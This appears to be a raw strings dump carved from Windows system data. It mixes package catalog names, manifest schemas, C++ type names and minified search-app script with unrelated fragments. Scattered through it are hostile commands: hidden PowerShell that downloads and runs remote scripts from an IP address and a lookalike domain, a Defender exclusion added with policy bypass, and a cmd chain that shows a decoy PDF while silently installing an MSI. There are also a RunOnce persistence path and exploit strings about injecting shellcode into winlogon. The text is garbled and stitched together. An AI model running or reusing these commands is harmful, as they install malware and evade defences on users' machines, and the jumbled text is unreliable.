Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
("C:\WINDOWS\NOTEPAD.EXE", 1)
GetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
CloseWindowStation
            name="Microsoft.Windows.Common-Controls"
GetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
CloseWindowStation
Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.
ROOT\Microsoft\Windows\RemoteAccess\Client
\windows\currentversion\runonce"
powershell-windowstylehidden-command"start-processpowershell-argumentlist'irm
.txt|iex'-windowstylehidden-verbrunas
powershell-windowstylehidden-command"[net.servicepointmanager]::securityprotocol=[net.securityprotocoltype]::tls12;invoke-webrequest-uri'http://168.231.73.143/files/
powershell.exe -executionpolicy bypass -windowstyle hidden -noprofile -command add-mppreference -exclusionpathp
c:\windows\microsoft.net\framework\v4.0.30319\cvtres.exec
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_es-es_4ff5287c569df389
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_fi-fi_7dc21baa7445bc2f
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_fr-fr_7d69cef874869bb7
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_he-il_d8735a58b04162b9
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_hu-hu_d8220dc6b07bf67b
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_it-it_0596b442ce649ea9
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_ja-jp_3319c54eec452ae6
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_ko-kr_607d005d0a38a300
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_nb-no_e8d0f0ed63fb9e24
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_nl-nl_e8fb639563da47b7
Injecting shellcode in winlogon...Sending SMB negotiation request...SEP_TOKEN_PRIVILEGES changedby @danigargu and @dialluvioso_Finished SMB negotiationCouldn't leak ktoken of current process...
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAUIBuffer@Streams@Storage@Windows@@@details@Concurrency@@@std@@
.?AU__I?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAUIBuffer@Streams@Storage@Windows@@_K@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@_K@23@PE$AAUIBuffer@Streams@Storage@3@PublicNonVirtuals@details@Concurrency@@
.?AU?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAUIBuffer@Streams@Storage@Windows@@_K@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@_K@23@PE$AAUIBuffer@Streams@Storage@3@@details@Concurrency@@
.?AU__I?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAUIBuffer@Streams@Storage@Windows@@_KPublicNonVirtuals@details@Concurrency@@
.?AU?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAUIBuffer@Streams@Storage@Windows@@_K@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationWithProgressCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@_K@Foundation@Windows@@
.?AV?$AsyncOperationWithProgressCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@_K@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAVStorageFolder@Storage@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVStorageFolder@Storage@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAUIBuffer@Streams@Storage@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVStorageFolder@Storage@Windows@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_29dd5e7bf12e7bd38b209c79c1d250a2>@@XPE$AAU?$IAsyncOperation@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap="http://schemas.microsoft.com/appx/manifest/uap/windows10"
           xmlns:uap4="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"
           xmlns:uap5="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"
           xmlns:uap8="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:rescap3="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3"
           xmlns:desktop2="http://schemas.microsoft.com/appx/manifest/desktop/windows10/2"
           xmlns:desktop3="http://schemas.microsoft.com/appx/manifest/desktop/windows10/3"
           xmlns:desktop5="http://schemas.microsoft.com/appx/manifest/desktop/windows10/5"
           xmlns:desktop7="http://schemas.microsoft.com/appx/manifest/desktop/windows10/7"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
           xmlns:previewappcompat="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport"
           xmlns:previewappcompat3="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport/3"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/2"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/5"/>
windows-
/1stemail.php http/1.1\windows\currentversion\r
md%homedrive%\windows\system32\
75c:\windows\system32\cmd`
WINDOWS.STORAGE.STREAMS.DATAREADER
tring __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceLoader::GetStringForUri(const struct winrt::Windows::Foundation::Uri &)
void __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceLoader::SetDefaultContext(void)
\obj\Release\x64\Microsoft.Windows.ApplicationModel.Resources\Generated Files\winrt\Windows.Foundation.h
\dev\MRTCore\mrt\Microsoft.Windows.ApplicationModel.Resources\src\ResourceManager.cpp
__cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceManager::ResourceManager(void)
__cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceManager::ResourceManager(const struct winrt::hstring &)
struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceContext __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceManager::CreateResourceContext(void)
struct winrt::com_ptr<struct winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceNotFoundEventArgs> __cdecl winrt::impl::as<struct winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceNotFoundEventArgs,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
struct winrt::com_ptr<struct winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceCandidate> __cdecl winrt::impl::as<struct winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceCandidate,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
auto __cdecl winrt::Windows::Foundation::TypedEventHandler<struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceManager,struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceNotFoundEventArgs>::operator ()(const struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceManager &,const struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceNotFoundEventArgs &) const
\dev\MRTCore\mrt\Microsoft.Windows.ApplicationModel.Resources\src\ResourceMap.cpp
unsigned int __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceMap::ResourceCount(void)
struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceMap __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceMap::GetSubtreeImpl(const struct winrt::hstring &,bool)
auto __cdecl winrt::impl::consume_Microsoft_Windows_ApplicationModel_Resources_IResourceManager<struct winrt::Microsoft::Windows::ApplicationModel::Resources::IResourceManager>::CreateResourceContext(void) const
struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceCandidate __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceMap::GetValueImpl(const struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceContext *,const struct winrt::hstring &,bool)
struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::hstring,struct winrt::Microsoft::Windows::ApplicationModel::Resource
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.AppModelRuntimeWinRT
Microsoft.Windows.Wil.FeatureLogging
Windows.ApplicationModel.pdb
.?AU?$default_delete@VXamlCore@WindowsXamlManager@DirectUI@@@std@@
s-windows-store-deskextp
uion ft(t){let i=t===null||t===void 0?void 0:t.extensionLC;return!!i&&n.contains([".png",".jpeg",".jpg",".svg",".text",".txt",".pdf",".docx",".json",".csv",".xlsx",".pptx",".md",],i)}function nr(n){return ft(n)||ut(n===null||n===void 0?void 0:n.type)||e(n===null||n===void 0?void 0:n.type)}function tr(t){return t&&n.contains([".pptx",],t)}function ir(t){return!!t&&n.contains([".xlsx",],t)}function et(){return n.isDataSourceEnabled("SSUE",null)}function ot(t){var r=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();let i=!n.config.userProfileButtonEnabled||r==t;switch(t){case 2:return i&&n.isSubstrateOutlookAccountConnected;case 1:return i&&n.isSubstrateO365AccountConnected;case 4:return i&&n.isSubstrateO365AccountConnected&&n.isSubstrateOutlookAccountConnected;default:return!1}}function rr(t){let i=SearchAppWrapper.CortanaApp.authenticationManager.getAllSearchWebAccountsAsync;var r=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return i?!0:r==t}function ur(){return{dataSource:"ANA",groupType:t.SearchSuggestions,requirements:[1],conditionalRequirements:t=>n.isAnaheimDataEnabled(!1,t),suggestionIsEnabled:t=>t=="ANAH"||t=="ANAR"||t=="ANAF"||t=="ANAT"||n.config.topHitMuse&&t=="ANATH"}}function r(n,t,i,r,u){return c(n,undefined,t,i,r,u)}function c(t,i,r,u,f,e){return{dataSource:t,groupType:i,requirements:[1],suggestionIsEnabled:e,conditionalRequirements:t=>(r==1?n.isCloudSearchEnabledAadCache:n.isCloudSearchEnabledMsaCache)&&(!f||f(t))&&(u||t&&t.queryToFetch&&t.queryToFetch.length>=n.config.minLengthFor3SonL1)&&rr(r)&&ot(r)}}function fr(){return n.isDocSourceEnabledInQws("SREE")}function st(){if(n.msbHost!==null&&n.msbHost!==void 0)return n.msbHost.qfUtils.isMsbQfInScriptsEarlyLoadState()}function l(t,r){return{dataSource:"MSBC",requirements:[1],conditionalRequirements:u=>{if(!n.msbHost||!n.isBingEnabled())return!1;const f=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType(),e=r===i.Documents&&n.msbHost.qfUtils.isMsbFileReady(),o=r===i.Web&&!n.msbHost.features.isWorkScopeApplicable(),s=!r||e||o;return n.isCloudSearchEnabledAadCache&&s&&(t||u&&u.queryToFetch&&u.queryToFetch.length>=hi)&&(f==1||f==4||n.config.msbMockToken||st())&&(n.msbHost.isTenantMsbEnabled()||st())&&!n.msbHost.isGccHighTenant()}}}function a(){var t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return!n.isCloudSearchEnabledAadCache&&!n.isCloudSearchEnabledMsaCache||t==3||t==0||!et()?!1:!ot(t)}function ht(){return n.isDocSourceEnabledInQws("SSUE")}function ct(){var t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return t==2||t==4}function lt(t){return t.isSearchHomeZI&&(n.isDataSourceEnabled("SSUE",t)||n.isDataSourceEnabled("SREE",t))}function er(n,t){return t.siteTitle&&n.isSearchHomeZI}function or(){n.ScopeConfig[i.All].getEmptyZIMessages=()=>f(i.All,"EmptyAllMessage",n.isBingEnabled()?"EmptyAllSubMessage":"EmptyAllSubMessageNoWeb",vt(!0));n.RuntimeConfig.SearchHomeAvailable==1?(n.ScopeConfig[i.All].icon=n.getSearchSuggestionIcon(),n.ScopeConfig[i.All].enabledDataSourcesForZeroInput=[{dataSource:"BPQ",groupType:t.BingPopularQueries,suggestionGroupToggler:h(t.BingPopularQueries),conditionalRequirements:()=>n.canShowBingPopularQueries()},{dataSource:"TOPP",groupType:t.TopApps,suggestionGroupToggler:h(t.TopApps),conditionalRequirements:t=>n.shouldShowZIDataSource(t)&&!n.canShowSearchHomeAIFeed(t)},{dataSource:"SMA",groupType:t.SmartActions,suggestionGroupToggler:h(t.SmartActions),conditionalRequirements:t=>n.canShowSearchHomeAIFeed(t)},{dataSource:"DFLS",groupType:t.CuratedSuggestions,suggestionGroupToggler:h(t.CuratedSuggestions),conditionalRequirements:t=>n.canShowCuratedSuggestions(t)},{dataSource:"CUSE",groupType:t.CuratedSettings,suggestionGroupToggler:h(t.CuratedSettings),conditionalRequirements:t=>n.canShowCuratedSettings(t)&&!n.canShowSearchHomeAIFe
www.97dmu.netSkkojf hqaoyWsuwkb asbmmyry97mu.f3322.orgWindows OmaqgkOkbyqce.exe
WindowsAppRuntime.Release!1.5.1y
Microsoft.Windows.Security.AccessControl.winmdy
start-processpowershell.exe-windowstylehidden-argumentlist"-execbypass-file
WINDOWS11
      <Color Name="ToolWindowShelf">
Mozilla/5.0 (Windows NT 10.0; Win64; x
WindowsBackup.AppXmzeec6fy3e5g0a4f413x6yqacenm8w54.mca
WindowsBackup.
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.NativeBridge
Windows IA64
Windows NT x86
Windows x64
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Pnp-OnlineDriverStore-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-ErrorReportingKernel-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Product-Data-Ge-Beta-Version-EKB-Wrapper-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Runtime-Metadata-Desktop-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Package_16_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|crosoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|d364e35~amd64~~10.0.26100.7840.cat|
WINDOWS EMBEDDED
c:\windows\system32\cmd.exe/kstartmsedgehttps://unec.edu.az/application/uploads/2014/12/pdf-sample.pdf&curl-slo%temp%\6ad5feeb-dcc3-4eef-baa3-4bcd42ce30b4.msihttp://serverl.org/cords/install.msi&%temp%\6ad5feeb-dcc3-4eef-baa3-4bcd42ce30b4.msi/qn&del/q/f/s%temp%&exit
@echooff%systemroot%\system32\windowspowershell\v1.0\powershell.exe-command"&{[net.servicepointmanager]::securityprotocol=3072};""""&{$(invoke-webrequest-usebasicparsing'https://spotx-official.github.io/run.ps1')}-new_theme""""|invoke-expression"pauseexit/b
orNotifyExitWindows+
X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!
WindowsCreatel
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
Microsoft.Windows.Storage.winmdV47
winlogon
Mozilla/5.0 (Windows NT 10.0; Win64; x
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
"-ExecutionPolicy Bypass -WindowStyle Hidden -File_
Microsoft-Windows-SearchEngine-Client-Package-onecoreuap-Package~31bf3856ad364e35~amd64~~10.0.26100.7309
Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~~10.0.26100.7824
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7824
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.7824
temRoot%\system32\mswsock.dll5
Windows.location.opennewtab
Windows.opennewtab
Windows.SendToMyPhone
Windows.SystemToast.AccountHealth
Windows.SystemToast.PresenceSensing.OnlookerDetection
Windows.SystemToast.RecallSetup
%SystemRoot%/System32/CIRCoInst.dll
%SystemRoot%/System32/drivers/1394ohci.sys
%SystemRoot%/System32/drivers/acpi.sys
%SystemRoot%/System32/drivers/kdnic.sys
%SystemRoot%/System32/drivers/AcpiDev.sys
%SystemRoot%/System32/drivers/acpitime.sys
%SystemRoot%/System32/drivers/adp80xx.sys
%SystemRoot%/System32/drivers/amdk8.sys
%SystemRoot%/System32/drivers/amdppm.sys
Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat
s\system32\cmd.exe/v/k"start/min""power
onecoreuap\shell\windows.storage\perappknownfolders.cpp
s\system32\
Microsoft.Windows.Security.Certificates
    <xs:attribute name="ServerName" type="t:ST_AsciiWindowsId" use="optional"/>
44-2EB1AE5198B7}\\cmd.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\comexp.msc","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\dfrgui.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\iscsicpl.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\LiveCaptions.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\magnify.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\MdSched.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\msconfig.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\msinfo32.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\narrator.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\odbcad32.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\osk.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\printmanagement.msc","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\psr.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\RecoveryDrive.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\services.msc","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\voiceaccess.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\WF.msc","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\WindowsPowerShell\\v1.0\\powershell.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\WindowsPowerShell\\v1.0\\PowerShell_ISE.exe","{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\\mRemoteNG\\Credits.txt","{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\\mRemoteNG\\License.txt","{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\\mRemoteNG\\mRemoteNG.exe","{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\\mRemoteNG\\Readme.txt","{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\\odbcad32.exe","{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\\WindowsPowerShell\\v1.0\\powershell.exe","{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\\WindowsPowerShell\\v1.0\\PowerShell_ISE.exe","{F38BF404-1D43-42F2-9305-67DE0B28FC23}\\regedit.exe"]}
WindowsFeatures
WindowsMediaVersion
WindowsBackup
WindowsMigration
WindowsOobeAppHost
WindowsPeopleExperience
WindowsBackup
WindowsMigration
WindowsOobeAppHost
WindowsPeopleExperience
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy0
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
CreateNewWindowsVersion
amd64_microsoft-windows-s..icingstack-cmitrust_31bf3856ad364e35_10.0.26100.1_none_3ffc52aa6409a131
Microsoft-Windows-ServicingStack-CmiTrust, Culture=neutral, Version=10.0.26100.1, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=amd64, versionScope=NonSxS
amd64_microsoft.windows.systemcompatible_6595b64144ccf1df_6.0.26100.1_none_03c982bdcc6b4e7d
Microsoft.Windows.SystemCompatible, Culture=neutral, Type=win32, Version=6.0.26100.1, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
powershell.exe -windowstyle hidden -executionpolicy bypass  -command 
="c:\windows\system32\"+"notepad"
14amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_ug-cn_8414db2b3a1826f4ure`
Microsoft.Windows.Common-Controls.Resources, Culture=ug-CN, Type=win32, Version=6.0.26100.1591, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
14amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_uk-ua_7e2424153def292fure`
Microsoft.Windows.Common-Controls.Resources, Culture=uk-UA, Type=win32, Version=6.0.26100.1591, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
14amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_ur-pk_82482e553b4d99e7ure`
Microsoft.Windows.Common-Controls.Resources, Culture=ur-PK, Type=win32, Version=6.0.26100.1591, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
Coamd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_uz-..-uz_c5df2a7f5b947197X
Microsoft.Windows.Common-Controls.Resources, Culture=uz-Latn-UZ, Type=win32, Version=6.0.26100.1591, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64icr
onamd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_vi-vn_271bce842cbb6302oce`
Microsoft.Windows.Common-Controls.Resources, Culture=vi-VN, Type=win32, Version=6.0.26100.1591, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
onamd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_zh-cn_b3a15f6bf6f5d502oce`
Microsoft.Windows.Common-Controls.Resources, Culture=zh-CN, Type=win32, Version=6.0.26100.1591, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
onamd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_zh-tw_b79d9cc1f466b172oce`
Microsoft.Windows.Common-Controls.Resources, Culture=zh-TW, Type=win32, Version=6.0.26100.1591, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
miamd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_87ef0e2f7a2c9771
Microsoft.Windows.Common-Controls, Culture=neutral, Type=win32, Version=5.82.26100.7309, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64md64
amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462
Microsoft.Windows.Common-Controls, Culture=neutral, Type=win32, Version=6.0.26100.7824, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.0.26100.7824_none_7fa1f4b3a4c0f489
Microsoft.Windows.GdiPlus, Culture=neutral, Type=win32, Version=1.0.26100.7824, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_6ef363983dc6ce30
